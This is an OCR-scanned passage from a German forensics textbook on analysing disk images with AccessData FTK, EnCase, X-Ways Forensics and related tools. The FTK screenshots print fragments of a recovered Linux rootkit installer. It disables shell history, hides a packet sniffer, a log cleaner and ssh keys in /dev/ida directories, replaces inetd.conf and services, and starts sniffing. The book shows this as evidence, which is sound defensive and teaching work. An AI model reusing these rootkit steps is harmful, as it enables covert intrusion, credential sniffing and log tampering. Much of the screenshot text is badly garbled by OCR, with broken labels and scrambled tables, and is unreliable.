9 Any number of evidence items can be added to the case. There are several types of evidence items:
direkt von einem Acquired image of drive: Several formats supported; can be an image of a logical or physical diive
Local drive: Can be a logical or phyzical drive
angeschlossenen Folder: Adds all files in the specified folder, including contents of subfolders
. Individual File: Adds a single file. NOTE; Disk image files should be added as acquired images.
Datentrager The default refinement options, set previously, can be overridden independently for each evidence item, and additional

tpes of refinements can alzo be made. These refinements can include the exclusion of date/size ranges, as well as specific
falders. Ta make these further refinements, highlight an evidence item in the list and press Refine Evidence - Advanced...

Add Evidence... | Edit Evidence... | Remave Evidence | Refine Evidence - Advanced... |
Digplay Name | SDL %] Comment I

Disk0%Part_TA\NONAME-M... Dist

DigkD4WPart_2YWOMAME-M... Disk. [~ Type of Evidence to Add to Case
Disk0%Part_B\NONAME-L... Dish
DiskMPart_Eh\root-ext2 Dist
DiskDWUnpartSpace Drigt " Local Diive

" Corntents of a Folder
" Individual File

Continue. .. I Cancel

& acquired Image of Drive

<zuiick | weiter> | Abbrechen | Hife |

Nachdem die Beweisquellen eingelesen und alle Indizes erstellt wur-
den, lassen sich sofort alle weiteren Aktionen durchfithren. Wihrend
des Erfassungsvorgangs versucht das AccessData FTK, die gefundenen
Dateitypen zu analysieren und zu gruppieren. Gleichzeitig werden
diese Dateien mit der KFF-Hash-Bibliothek (KFF = Known File Filter)
verglichen, um zu erkennen, ob es sich bei den Dateien um bekannte
System- bzw. Programmdateien handelt. Dieser Kurzstatus ermoglicht
einen schnellen Uberblick, welche Dateitypen vorhanden sind, wie
viele geloschte Dateien identifiziert wurden und ob File Slack bzw.
anderer unallozierter Speicherbereich gefunden wurde (Abb. 7-39).
Man sollte sich nicht immer auf die Zusammenfassung der gefundenen
Dateiformate allein verlassen. Eine manuelle Analyse ist oft notig, um
interessante Dateiformate, z.B. E-Mail-Dateien unterschiedlicher
Mailclients, zu identifizieren. Trifft man auf unbekannte Dateifor-

mate, kann man auch diverse Online-Datenbanken dazu befragen?®.

28. z.B. unter http://filext.com/
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Overviesy Explore Graphics E-Mail | Sear Abb. 7-39
Evidence kems File Status File Category Statustiberblick Gber
| Evidence ttems: 2 KFF Alert Files: 0| Documents: 1] gefundene Dateitypen

File kems Bookmarked fems: 0| Spreadsheets: 0 beim AccessData FTK
Total File kems: 1752 | Bad Extension: 1| Databazes: 0]
Checked ems: 1 | Encrypted Files: 0| Graphics: 1
Unchecked tems: 1781 | From E-mail: 0| E-mail Messages: a
Flagged Thumbnails: 0 | Deleted Files: 47 | Executables: il
Cther Thumbnails: 1 | From Recycle Bin: 0| Archives: 2
Fittered In; 1752 | Duplicate kems: 376 | Folders: a0
Filtered Cut: 0| CLE Subitems: 0| SlackFree Space: 17
Unfitered Filtered Flagged Ignore: 0| Cther Known Type: 366
All kems Actual Files | KFF lgnorakle: 3| Unknowen Type: 1305

Man kann aus der Statusiibersicht sofort in den jeweiligen Bereich

springen, um die Daten zu analysieren. Im Meniibereich »Explore«

kann man sich durch das verdiachtige Dateisystem bewegen, die gefun- ~ Abb. 7-40

denen Dateien einsehen und extrahieren. Die geloschten Dateien wer-  Anzeige der geléschten

den besonders hervorgehoben, kénnen eingesehen werden und lassen  Installationsdatei eines

sich ebenfalls extrahieren (sieche Abb. 7-40). Linux Rootkits mit dem
AccessData FTK

£+ AccessData FTK version 1.71 build 07.06.22
Fie Edt Yiew Took Help

Overview | Explore | Graphies E-Mail Search | Bookmark |
: Evidence tems Flle.status File Category o l—LI #, ‘ w @@@ ) HE &)
Evidence fems 2| KFF Alert Fies 44| Documents e =
File ltems Bookmarked tems: 0| _Spreadshests o dea"" R
IS 0| || BB i1l oetebases) 24 | unset HISTFILE
Gt e e cryprecRles ]| Ere e 0] | echo "= Instalarea Rootkitului A Pomit La Drum ="
Unchecked fems: 2006 | From E-mal 0| Wutimeda o | echo ™ Mircea SUGH PULA s
Flagged Thumbnails: 0 | | Deleted Files: 57 E-mail Messages: [1} echo Multumiri La Tati Care M-Au Ajutat
Other Thumbnails: 0| From Recycle Bin: 0| Executables: o] | echo " Lemme Give You A Tip
Fitered I 2008 | Duplcate tems: 385 | Archives 2| | echo "™ Ignore everything, call your freedom
Filtered O 0| OLE Sustems: 0| Folders: 1ga| | Bcho 7 Scream & Swear as iichias you,can )
echo ™™= Cuz anyway nobody will hear you and no one will ™
Unfitered Flagged lgnore: 0| SlackFres Space 35 N oAb Sl il bt
[ieiocdlonor - SR Ol sl s pn OB ol | Care about you
Allltems | _Actual Files | _KFF Ignorable. 158 | _Other Known Type: 388 | | oo
Date Carve Fiies: o unknown Twee  1410] | gepg
chown root root *
if [ -f fusr/bindmake J; then
echo "Are Make I
else
echo "Mu Are Make "
i B
fl » ‘
g B8 AR 20| or[omoms | M e cotamns =] o=
¥ [ Fullath [Recydepi.. [Ext [FleType | cateqory | ublect | Croate Mod Date -
8\ NONAME etz [orphan]s 201 Unknown Fi.. Unknown 1E.03.2001 (245,03 26.02.2001 154604
b8\ NONAME -ext2\[orphan]\20883 Symboiic ik Dther N [
hda7\NONAME etz [orphan]\221 84 Unknown Fil.. Unknown 05.11.200001 6843 02.03.2000 190811
hdsB\NONAME etz [orphan]\23 GZIP Achive  Archive 16.032001 024505 16032001 023648
hda8\NONAME =2 [orphan]\281 72 Symbolic ik Diher Mo HA
hda8\NONAME -ex24orphan\ 30188 Unknewn Fil..  Unknown 16.02.2001 02:45:02  07.03.2000 11.31.42
hdaliNOMAME 225 [orhan] 300 91 Unknawn Fil..  Unknown 16.02.2001 024502 07.03.2000 12.03.26
hda?iNONAME -2xt24[orhan]a040 Unknawn Fil..  Unknown 08.11.200011:0206  07.11.2000 11:02.06
hdaliNONAME -ext2\[omhan]h 45284 Unknawn Fil..  Unknown 16.02.2001 024502 07.03.2000 11:31:42
hdaB\NONAME -ext2\[orphan]\56231 Unknown Fil.. Unknown 15.032001 1217:36 15032000 121736
hdaB\NONAME -ext2\[orphan]\ €057 Folder Folder 16.032001 11:0312 16032000 11:0312
0z b8\ NONAME -ext2\[orphan]\€100 Unknown Fil.. Unknown 1E.032001 11:0312 16032000 11.0312
Oz b8\ NONAME -ext2\[orphan]\23>> UnlitiedD slasts > cleaner Unknown Fil.. Unknown N 03.09.1993 1757.11
[ (7 ifconfin b8\ NONAME etz [orphan]\23>> UnfitledD > ast> »fconlig Unknown Fil.. Unknown N 26.02.2001 16:23:47
[ B inetel. cort b\ NONAME etz [orphan]\23>> UnlitiedDy s last> »inetd. conf conl Unknown Fil.. Unknown N 27.01.2001 16:11:32
m]
Oz b8 NONAME etz [orphan]s23>> UniitledD > ast> > last o Unknown Fi.. - inknown 26.02.2001 16:23.10
[ ] linsniffer hdaB\NONAME etz [orphan]s235> UnlitledD>>lasts > nsniffer Unknown Fil.. Unknown Mo 26.02.2001 16:22:50 =
0O & logclear hda8\NONAME -ex2Y orphan]\ 23> UntitledD> > last> > logelear Unknewn Fil..  Unknown N 26.02.2001 16:24:03
0O 2 lsattr hda@\NONAME -ext2\[ormhan]n23>> Untitled>>lasts »leatir Unknewn Fil..  Unknown Ned 26.02.2001 16:28:40
O 2] mkats hdaliNONAME g2 [ormhan]n23> Untitedd>> lasts > mkxfs Unknawn Fil..  Unknown N 26.02.2001 15:46:04
0O &) retstat hidaB\NONAME-et2\arphan 230> UntitledD> > lasts s netstat Unknawn Fil..  Unknown N 26.02.2001 16:23:42
O [ ridile hdaB\NONAME -ext2\[orphan]\23> UnitiedD> > asts »pidfle: Unknown Fil.. Unknown N 26022001 16:2958
R LU MMALIE b Lol 73 Lo . A 217 90m 1099 il_l

|67 Listed [0 Checked Total hdaBHONAME-ext2 [orphan]23>>Untitled0>>last>>install
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AccessData FTK version 1.71 build 07.06.22 -

file Edt View Tooks

Help

ses}03.Hisolutions.Apollo} FTK\03.HiSolutions.Apollo,

Qverview Explore Graphics E-Mail | seaen | Bookma |
S e e mwmmese
(22 name:
s Marne I Size | Modified [ Userin [ Group 1D/ B
-0 pressrve =3 Untitled
Crn B8 last
(1 spool [ ssh 611.931 B.2.2002 13:08 0002007 0000144
= state + [ pidfile 1 26.2.2001 15:29 0002007 0000144
E e - O install 3713 332001308 0002007 0000144
5, s H - [ linsniffer 7165 2622001 1522 0002007 0000144
B MONAE 2 L L clannar 1 245 o@oa 157 0002007 0000144
B8 [orphan] Eiort Fles 0002007 0000144
-] 2038 Filfs] to Expor 0002007 0000144
2 = ] TR @ Alhighighted fiss € All chieckediies €Al currenty fisted fles € Alles gggggg; ggggljﬁ
[ bast ™ Include email attachments with email messages 0002007 onooi44
&= i File Name [ riginal Path 0002007 0000144
@ bost Z317271-Uniledd hda8\NONAME-exi2\{orphan] 0002007 0000144
3 dev 0002007 0000144
Dete 0002007 0000144
(2 floppy 0002007 0000144
(1 home 0002007 0000144
(] 000207 000 44 |
.E ‘Dsi#”“”d 00z007 0000144
i
S opt Destination Path: |D:\Cases\03 HiSolutions Apollo\F TKAD3 HiSclutiors Apollo\Export' .| | Dooz007 0000144
=it 0002007 0000144 -
E [ Frepend atchive name to i name s SIE j
o I~ Append item number to fle name to guarantee urigueness E
g g8 | H e "@ 0 |§5 - |gnug,mg [~ Append appropriate extension to file name if bad/absent
I™ Expart raw email messages instead of canverting ta HTML =
¥ Fel Full Path R le Bi... | Ext | File T Cate
ehane (e ™ Expattin HTML view if availsble Cancel | e e N e
< | »
[0Listed 1 Checked Total |0 Highlighted
Abb. 7-41

Bei der Extraktion von
Archiven kénnen auch
einzelne Dateien selektiert
werden, die natiirlich
auch in die Text- bzw.
Bindrsuche einflieBen
kénnen.

Der bereits beim Einlesen des Image erzeugte Suchindex ermoglicht ein
schnelles Durchsuchen nach ASCII-Strings (siche Abb. 7-42). Die
Suche nach bestimmten Schlagwortern geht somit sehr effektiv von-

statten.
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o AccessData FTK version 1.71 build 07.06.22 - D\Cases 03 HiSolutions. Apollo\FTK'\03HiSolutions.Apollol,
Fle Edt Yiew Tooks Help
overview | Explore | Graphics | E-Mal seach | Bookmerk |
Inclexed Search | Live Search | £ 34 Hits in 15 Files - QUERY: {insniffer) =N
o El @ Hits - [DriveFreespacel] hdsiiNONAME-ext2|DriveFresSpacs1
earch Term: | i ] et | optone | L3 ssholu” = /devirpm ec) linsniffer =" 3 fdevjrom echo »fdevrpm echo '3 sice” > {dev/rpm ec
Indexed Words | Co... | Search ltems [His  [Files
Trenifor 3 5 m_seed (dewjidaf.drag-on] cp < <linsniFfer s> logclear sense s1Z mkxfs s ssh_host_key ssh_random_seed devfida,
m_seed [dewfidal".. " rm -tF <<linsniffer == logclear sense si2 mkefs 5 ssh_host_key ssh_random_seed touch ideviidar_)
T _fini_dummy __CTOR_ITST__ <<linsniffer:=:.c blah. 18 strepy iocH print_data read_tcp _DYNAMIC _stext _IO_std:
*daj.drag-on fmlcfs - .fs j<<linsniffer>> > jtcp.log Bcd [ # jetc/services: # $Id: services, v 1.4 2000/01/23 211
T o . perl # Sorts the oubpUt From <<LinSniffer>> 0,03 [BETA] by Mke Edulla <medulla@infoscc.com> §| = 1; gperl = "fu:
*ic .comment .note kilal -5 < <linsniffer > rm -1f tcp.log touch tep.log . finsniffer >tcp.log & # This is ssh server systen
Editten | Remove fem | [Remove Al |[View fem Resuts » | oo tf tepulog touch bep.log f<<linsniffers> >tep.dag & # This is ssh server systemwide configuration file, Port 5 Listens
e | e o e e 4 Hits - [2041] hdaB{NONAME-gxt2i[orphan]|2041 -
R | [ew Cumuaiive Resuts - | J | ,
0 RERE T GRS
echo "4 45744" >>/dew/last £
echo "4 2222" ==idev/last
echo " Gata"
echo " Facem Director.. Si Mutam Alea.. "
mkdir -p /dew/ida/.drag-on
mdir -p fdeviidas. "
echo " Copiem ssh si alea” -]
cp logelear sense 512 mkxfs 5 ssh_host_key ssh_random_seed /devfidas drag-on/
cp linsniffer logclear sense sl2 mkxfs g esh_host_key ssh_random_seed /dew/ida/".. "
rrm -f lingniffer logclear sense sI2 mkxfs s ssh_host_key ssh_random_seed
touch /dewfida/ drag-an/tcp. log
touch /dewidal”.. “tep.log
cp -finetd.conf Jetc
cp -f senices fetc =
4 >
2 838 ‘ & Q@ "@ | |v orr [2008-2408 j‘ 1 [ conmns | | oiz
¥ F e Name [ FullPath [RecycleBi.. [Ext | FleType | Categor [subject | crDate [ Mod Date [ AccDats -
[m]E=] hdaB\NOMNAME -ext2ideshidah, Folder Folder 16.03.2000 02:45:03  16.032001 024503 16.03.2001 11:03:3
[ [(1.drag-on hdaB\WONAME -ext2hdevhidah drag-on dia.. Folder Folder 16032001 0245:03 16032001 02:45:03  16.03.2001 11:03:3
O & 2041 hdaB\NONAME -ext24 [orphan]s 2041 Unknown Fil..  Urknown 16032000 02:45:05 02032001 040837 16.03.2001 02:45:0
O & 2045 hdaB\NOMNAME -ext24[orphan]\ 2045 Unknown Fil . Unknawn 16032001 024506 26022001 16:28:40  16.03 2001 02450
O 2 2047 hdaB\NONAME -ext24 [orphan]\2047 Unknown Fil..  Urknown 16032000 02:45:03  26.022001 16:2255  16.03.2001 02:45:0
O |#& 2053 hrdaB\NONAME -ext24 [orphan]\2053 Unknown Fil . Unknawn 16032001 024503 26.02.2001 16:24:03  16.03.2001 02:45:0_}
[m] DriveFreeSpacel hdaB\WOMNAME -ext2\DriveFreeS pacel DiiveFree 5. Slack/Free S N N7 NA&
O [#] install hdaB\NOMNAME -ext24 [orphan]s235 » Lntitled> »| Unknown Fil . Unknawn NJ& 03032001 040837 N/A
[m] linsriffer hdaB\WONAME -ext24[orphan]\233 > Untitled0> > | Unknown Fil . Unknown N 28022001 16:2260  N/&
O [ linsriffer hdaB\NOMNAME -ext24deshidah,, Mirsniffer Unknown Fil..  Urknown 16.03.2001 02:45:02 16032001 024502 16.03.2001 02:45.0=
4] | »
|15 Listed 0 Checked Total | ndaB HONAME -ext2iDriveFreespacet

Fur die Analyse von freien Speicherbereichen wird der Mentupunkt  Sucheimimage nach
»Slack/Free Space« ausgewihlt. Bereits in der Ubersicht kann man  Zeichenketten mit dem
erkennen, wie viele Daten in diesen Bereichen gefunden wurden. Nach  AccessData FTK
Auswahl dieses Mentipunktes lisst sich der File-Slack-Bereich direkt
einsehen (siche Abb. 7-43). Jedes einzelne Fragment kann sowohl
nach Text- oder Bindirmustern durchsucht als auch extrahiert werden.
Durch die Integration von Quick View kann der Ermittler sofort
auf mehrere Hundert Dateiformate zugreifen und sie auf ihren Inhalt
analysieren.
FTK unterstutzt unterschiedliche Suchverfahren: Die sogenannte
phonetische Suche wiirde bei der Suche nach »raise« auch »raze« als
Ergebnis bringen. Der sogenannte Fuzzy-Modus ermoglicht durch den
Austausch einer frei konfigurierbaren Anzahl von Zeichen ebenfalls
das Auffinden von weiteren Ergebnissen.
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AccessData FTK ves
Fle Edt view Iook Help
Qerview | Explore | Oraphics E-Mail Search | Bookmark |
Evidence ltems File Status File Category - l—;[ [N ‘ w0 3 m@ = ‘ @ @
Evidence fems 2 | _KFF Alert Files: 2| Documents 14328
ey er——— ieeres | [ 100 oo 20 00 0000 00 00 00-00 00 00 00 00 00 00 0O =
Seomerkedlens O SPEadhests Bl 1110|0000 69 6c 79 3a 61 72-69 61 6c 3b 0d Oa 09 66|--ilyiarial;
ot et S || (P e oy SE | | sl eees O} |120|6€ 6e 74 2d 73 63 7a 55-3a 37 35 25 3b 0d Oa 09 |ont-size:75%
Checked fiems 0| Encrypted Files: 0| Graphics 3009 | |130|6a 61 72 67 69 6e 24 62Z-6f 74 74 GF 64 Ja 37 70 |mArgin-bortom:7p J
Unchecked tems: 56717 | From E-maik 0 Mutimesie: 23| |140 |78 3b 04 Da 7d 04 Oa 2e-77 72 61 70 70 65 72 Od|x;--}- . wrapper:
Floged Thumbnals: 0 | Deleted Files: 1| _E-mail Messages: [ igg g: ;‘é gd g; gg ;; gg g;";g 52 :ﬁ g; gj gg ;g :g ""}'1"’13;*“;:?’*
e e e T 3 - a #---height: j g
LOther Thumbnels: 3009 | FromRecycleBin: 8| Execulsbles. 10267 | )50 |3y g 0a 09 62 61 63 8b-67 72 6f 75 6 64 3a 7E |:--background:u
_Fitersdin:  SS717 | Duplicatekems: 12653 | Archives: 184 | |10 (72 6c 28 22 Ze 2e 2f Ze-Ze 2f 69 6d 61 67 &5 73 rl("../../inmages
Filiered Out 0| _OLE Sustem 1015 | Folders: 8634 | |190|2c 70 67 5 31 34 5 62-67 Ze 0 Be 67 22 29 20| /py 14 by.png”)
[Uritered_ Fitered | _Flagged lgnore 0 a0 |6e 6f 2d 72 65 70 65 61-74 20 63 65 6e 74 65 7Z no-Lepeat center
[ Altems _ActualFiles | KFF Ignorable. 23651 | | Other Known Type: 418 | 120 (20 30 3b 09 0d Oa 7d 0d-0a 23 63 75 72 76 65 Od| 0;---}- -#ourve:
T ounCoweifies 0| UniawnTvpe  famz| | 1°°|9% 7B 02 02 09 62 61 63-6b 67 72 6€ 75 6e 54 Ja - |- background:
LetaTorvedlex 01 140 |75 72 6c 26 22 2e 2e 2f-2e 2e 2f 69 64 61 67 65 [url("../../image
180|753 2f 62 67 SE 32 2e 70-62 67 22 29 20 6e 6f 2d |3/by 2.pne”) no-
1£0|72 65 70 65 61 74 20 63-65 6e 74 65 72 20 62 6f |repeat center bo
20074 74 62 6d 3b 09 Od 0a-09 63 6o 65 61 72 3a 6Z | ctom:- - -clear:h
210|6E 74 63 3b 0d Oa 09 65-65 69 67 65 74 3a 33 37 |oth;-- height:37 |
Cursor position = 0: cluster = 2720022 logical sector = 217601 76: physical sector = 21762226
2 Eaae 20| o onue =1/ T f2n coumns =]/ o=
w*_Filz Name [ *_FulPath [Recycle B, [ Eat [FleType [ Category | Subject | CrbDeke [ Mod Date -
O L] FileSlack “Windows Yista-0\Part_T\NONAME-NTFS\Users\admintAppD atatLocal\Micr. File Slack. Slack/Free S.. N/ Nk
[0 L] FileSlack “Windowes Yista-0\Part_1\WONAME-NTFS\Users\admintappD atatLocal\Micr. File Slack. Slack/Free 5. Med
[ J FileSlack Windows Vista-0\Parl_T\NOMAME-NTFS\Users\admin\ppDatatLocalMicr. FileSlack  Slack/Free S N
[ L FileSlack Windows Vista-0Part_T\NOMAME-NTFS\Users\admin\appDatatLocalMicr. FileSlack  Slack/Free NiA =
O L] FileSlack “Windows Yista-0\Part_1\NONAME-NTFS\Users\admintAppDatatLocaliMicr. File Slack. Slack/Free 5. Ned
[ L] FileSlack “Windowes Yista-04Part_1'"NONAME-NTFS\Users\admin'4ppD atatLocaliMicr File Slack. Slack/Free 5 Neds
[m] v St 1\ JTFS\ Sdmin\ppD
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Abb. 7-43

Analyse des File Slack mit
dem AccessData FTK

7.2.7 P.m.-Analyse der Images mit EnCase

Fir die forensische Analyse mit EnCase stehen mehrere Moglichkeiten
zur Verfiigung. Mochte man zum Beispiel die forensischen Duplikate
auch mit anderen Tools untersuchen, sollte man diese Duplikate mit
einem Werkzeug erstellen, das von mehreren Analysewerkzeugen ver-
standen wird. Es ist aufSerst unwahrscheinlich, dass andere Werkzeuge
in der Lage sind, die nativen EnCase-Daten zu analysieren.

Das in EnCase enthaltene Case-Management ist mit den Moglich-
keiten der anderen vorgestellten Tools vergleichbar.

Mochte man ein neues Image hinzufiigen, wahlt man tber das
Menii »New Case« das entsprechende Importgerat aus. Mochte man
das Image mit EnCase erstellen, erzeugt man in diesem Menii einen
neuen Fall und wahlt das Device aus, das die zu untersuchenden Daten
enthilt. Das Image kann sowohl von einem direkt angeschlossenen
Datentrager als auch tiber ein gekreuztes Netzkabel eingelesen werden.



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

7.2 Forensische Analyse unter Windows 271
¥ ~Abb.7-44
Ei Auswahl der Schnittstelle,
T ateves o B an der der zu unter-
ol ] 1| Local Drives ..
S Evidence Fles 12| By palm Pt suchende Datentréger
L oE5 CProgrammelEncases EI 3 ;para\\al Part angeschlossen ist
1 4| 5% Netwark Crassover
Nachdem man das Image eingelesen hat, kann man mit der Analyse
beginnen. Neben dem Einsehen unallozierter Speicherbereiche und des
File Slack kann man sich natiirlich auch durch das Dateisystem des
Image bewegen. EnCase kann ebenfalls nach Zeichenketten im gesam-
ten Dateisystem suchen. Durch das Konfigurieren von eigenen Suchfil-
tern ist es moglich, nach E-Mail-Adressen, URLs und IP-Adressen zu  Abb.7-45
suchen. Definition von
Suchmustern mit EnCase
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Im Anschluss an die Definition der Suchmuster kann man in den Such-
ergebnissen nach den fiir die Ermittlung relevanten Daten suchen. Wie
Abbildung 7-46 zu entnehmen ist, werden auch die unallozierten
Bereiche analysiert.
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Abb. 7-46

Suche nach URLs und
E-Mail-Adressen in
unallozierten Bereichen
eines Dateisystems mit
EnCase

Abb. 7-47
Wiederherstellung von
Grafiken aus dem
geléschten Cache eines
WWW-Browsers mit
EnCase

Ein weiteres eingebautes Feature von EnCase ist die automatische
Wiederherstellung von Grafikdateien des verdachtigen Dateisystems
(siehe Abb. 7-47).
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EnCase unterstiitzt den Ermittler beim GrofSteil der Routinetatigkeiten
innerhalb einer Festplattenanalyse durch die bereits »eingebauten«
Features. Bei komplexeren und tiber den Standard hinausgehenden
Fragestellungen st6f8t man mit solchen All-in-one-Ansitzen schnell an
seine Grenzen. Hat man aber das forensische Duplikat mit dd erstellt,
steht es einem Ermittler frei, zusatzlich mit alternativen Werkzeugen
zu arbeiten.

7.2.8 P.m.-Analyse der Images mit X-Ways Forensics

Der Hex-Editor WinHex der deutschen Firma X-Ways Software Tech-
nology AG?? erfreut sich seit Jahren bei vielen Anwendern grofer
Beliebtheit. Neben der hinter der Bezeichnung Hex-Editor zu vermu-
tenden Funktionalitit bietet dieses Tool schon seit Langem erweiterte
Funktionen, die es zu einem bevorzugten Systemwerkzeug unter Win-
dows machen. Das Programm lduft unter Windows 2000, Windows
XP, Windows Vista und auch unter Windows 7. So ist es mit diesem
Editor zum Beispiel moglich, auch direkt auf Festplatten zuzugreifen
und den von einer Anwendung belegten Speicher zu analysieren und
bei Bedarf auch direkt zu verindern. Auflerdem kann man damit
forensischen Kopien der zu untersuchenden Datentriger erstellen oder
den unbenutzten Speicherbereich und den fur die Analyse wichtigen
File Slack durchsuchen oder automatisch extrahieren — Fihigkeiten,
die WinHex schnell zu einem beliebten Tool bei Sicherheitsspezialisten
und Ermittlern aufsteigen lieS. Ein weiteres sinnvolles Feature ist die
Moglichkeit, den von einer laufenden Windows-Anwendung verwen-
deten RAM zu analysieren und in eine Datei zu sichern.

Der durch zahlreiche forensische Features erweiterte Editor ist mit
einer speziellen forensischen Lizenz unter dem Namen X-Ways Foren-
sics als Spezialwerkzeug fiir Ermittler einsetzbar. X-Ways Forensics
muss nicht installiert werden, es kann von einem externen Datentriger
gestartet werden. Neben den Dateisystemen FAT, exFAT, ext2/3/4,
UFS/UFS2 und NTEFS unterstiitzt X-Ways Forensics auch ReiserFS
(siche Abb. 7-48).

X-Ways Forensics verfigt nun iiber ein leistungsfahiges Case-
Management: Forensische Datentrager-Images, Dateien und Datentra-
ger lassen sich direkt einem Analyseprojekt und einem Ermittler
zuordnen. Alle Tatigkeiten mit dem Tool werden automatisch proto-
kolliert und in einem HTML-Bericht tibersichtlich dargestellt. Dieser
Bericht schliefSt alle mit dem Tool gedffneten Meniis und Bildschirm-

29. http:/lwww.x-ways.de

WinHex
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Abb. 7-48

Analysevon  ansichten ein, die als Basis einer Analyse dienen. Von diesen Aktionen
Datentrdgern, Images ~ werden automatisch Screenshots abgespeichert (um Platz zu sparen bei
oder laufenden Prozessen ~ Bedarf in Schwarzweifs) und in den HTML-Bericht iibernommen. Es
ist moglich, den gedffneten Fall in seinem aktuellen Zustand bequem
in ein ZIP-Archiv zu sichern (ohne Image- und wiederhergestellte

Dateien).

In der Verzeichnisbaumiibersicht bietet sich die Moglichkeit, Ver-
zeichnisse rekursiv zu erkunden, d.h. ihre Inhalte aufzulisten inklusive
der Inhalte ihrer Unterverzeichnisse.

Als neue Alternative zur Standard-Sektoransicht und der Galerie-
ansicht gibt es in dieser Version jetzt eine Dateivorschau und einen
Kalender fur Dateien, die im Verzeichnisbrowser ausgewahlt sind. Die
Dateivorschau-Funktion priift die Dateisignatur und zeigt entweder
ein Bild oder eine rudimentire ASCII-Textvorschau an. Der Kalender
bietet eine niitzliche grafische Ubersicht dariiber, wann Dateien in
bestimmten Verzeichnissen, mit bestimmten Namen oder bestimmten
Typen auf einem Laufwerk erzeugt oder geidndert wurden oder wann
zuletzt auf sie zugegriffen wurde (siche Abb. 7-49).
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Die Galerieansicht enthilt in dieser neuen Version auch Nicht-Bildda-
teien und pruft standardmafSig die Signatur der Dateien, um Dateina-
mens-/Dateityp-Unstimmigkeiten zu entdecken. Nicht-Bilddateien
werden durch ein Icon reprisentiert, unter Angabe von Dateiname,
Dateinamenserweiterung und Ergebnis der Signaturpriifung (siehe
Abb. 7-50).

Die Oberflachensprache lisst sich wie bisher im laufenden Betrieb
einfach umstellen. Es werden neben Englisch und Deutsch weitere
Sprachen, z.B. Franzosisch und Spanisch, unterstiitzt. Ab dem Zeit-
punkt der Sprachumstellung werden dann auch alle Protokolleintrige
in der neu eingestellten Sprache verfasst.

Mit X-Ways Forensics lasst sich der Inhalt eines kompletten Datei-
systems oder nur eines Verzeichnisses anhand der Attribute und MAC-
Times analysieren und dann z.B. nach MS Excel exportieren. Zusatz-
lich wird fiir jedes gefundene Objekt eine Priifsumme erstellt (siche

Abb. 7-51).

Abb. 7-49

Ubersichtliche Darstellung
geldschter Inodes eines
ext2-Dateisystems in
einem Kalender
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Abb.7-50
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ok | abbechen | Hire
Abb. 7-51 32, : i
. . |8 potes prarbekon fnsche Enfigen Foms; Extras Daten ferster 3 Acohet SIEIE|
Ergebnis der Analyseeines  nw@ &Ry L wE v- @5 & @0 0@ 2w co-FrxuEEA@M e -0-A- 7 @D
. . [ | =
Dateisystems mit X-Ways N (e T T = 2 [ T ) [ T T T T 13 [
1_|Filenarme Extonsi Path Dedered D Hicdm SystoiRoad: Anc Size Creation Date Creation Tir Last Wiite Di Last Wiite Last As
H H £ | Lereprs L3 WYINLIUWYENS Y S 1IEMIS U U221 1mn Aldeal WllAl 1¥EsAl g g
Forensics (Es ist gut zu 3 [Hidparse.sys sys G- WWINDOWS\SYSTEMI2 Drivers A 41388 31032001 1650:10 05.05.1980 222200 05062003 335646 +
.. 4 |Hidusbsys  sys G OWINDOWSAS Y STEMI2Drivers. A 9296 AN032001 165010 05051968 222200 05062003 3EERE +
erkennen, dass bei diesem 5 [Wimlssys sys  GAWWINDOWS\SYSTEMIZ Drivers A 464 31032001 165010 05051999 222200 05062000 00311+
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7.2.9 Weitere hilfreiche Tools

Im folgenden Abschnitt werden einige recht hilfreiche Werkzeuge in
loser Reihenfolge vorgestellt, die dem Ermittler die eine oder andere
Arbeit unter Windows erleichtern konnten.

Eine einfache Moglichkeit, um von Windows auf lokale ext2-  Explore2fs
Dateisysteme lesend zuzugreifen, ist Explore2fs3°. Ohne weitere Kon-
figuration kann man sofort alle auf den Festplatten enthaltenen Linux-
Dateisysteme anschen und Daten exportieren.

_ioix| Abb.7-52
File Edit Wiew Help Zugriffaufdas ext2
root -
&l Folders Contents of root DatEIsyStem unter
b oot +| [ Hame Size| Type [HModified =] . :
o R g e S Windows mit Explore2fs
-] lestfound %]  fybuilder =nl 1461 file a0.12.01. ..
ERgmc . (4] ftp-sites 287 file 26.08.01
b onts . cache— ile .10.02. ..
'g:'”t A £ he-1 46993 fil 13.10.02
DCOD 4] esd_suth 16 file 03.02.01...
= [#] . designerrotb? 858 file 2010 02
i 4] cshrc 210 file 10.06.00. ..
]- dev J
8 el %] . bashrc™ 270 file 03.02.01. ..
= (8] hashro 267 file 0302 .01
‘(2] home 3 bash_profile 234 file 05.07.01...
] it [#] hash_logout. 24 file 10 0600
w0 lie E}IE!"_PWEMES 15749 file 29.05.0%. ..
i1 lastefoun 4 acror ; ile el
(] lostfound E} B 1811 fil 33:32:01
] misc [H #resc 1126 file 23 08 95
H = pork as Text .
e mnt 4] . Eclie 188 file 22.12.01. ..
B opt (5] ol 57 file 13 10 02
(1 proc (8] .%clie Remame 188 file 12.10.02. ..
-] oat 4] Eautk Delete 396 file 29.05.03...
D shin 3 RealK  Importfile red_00 91 file 26.08.01
Eg trup (4] .Realk  Ciedte > layer_60 990 file 22.12.01. ..
EZD :Z’r [#] Realistvorks_ReallediaSDK_60 22973 file 22.12.01
E@ Jusidlocal j HCOP-randon—seed 32 file F00ID By
D Trash-oot "1 TCFAanthmri tw A7h file 29 N5 N3 3
b | K | »
|85 objects | 35693768 bytes 7

Mit dem Tool Captain Nemo>' kann man neben ext2fs auch auf  Captain Nemo
NTEFS-, FAT- und Novel-Dateisysteme zugreifen, ohne diese in das
Betriebssystem einhingen zu miissen.

30. http:/furanus.it.swin.edu.au/~jn/linux/
31. htep:/lwww.runtime.org/
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Abb- 7 —53 ¢ Captain Nemo - The Win95,98/NT-Novell-Ntfs-Linux Multi Platform File Manager 3 =1a1x]
. . File Edt Help
Zugriff auf Dateisysteme  mmp g @ e o BB OO0 6@ 4
unterschiedlicher Art mit lal Directories [2:5warblogh
s onhdl26 100 <] [N | Size [ Type [ Date (ot | Duner | -
i Ciectory 2501.2003 0035 dir-nrx sle /oot
Captain Nemo m Cirecton 24022003 23.43....  diwwrurx ales/utmp
tpd Cirectoy 05.05.2003 20:35....  dwme-— ales/roct
Ciectory 05.05.2003 20:35:...  dir-urs sles/root
] Cirectoy 0309.2003 1328....  diws ales/roct
Cirectony 04.05.2003 1050 .. diwr-urs sles/root
mba Cirectory 0F. 042003 05 46; dia——-- ales/root o
88 b tipts Cirectary 1810.2002 21:59....  diwsr-urs ales/roct
- Iosrsiound ot Ciectory 05.05.2003 07.24....  diwsr-urn sles /oot
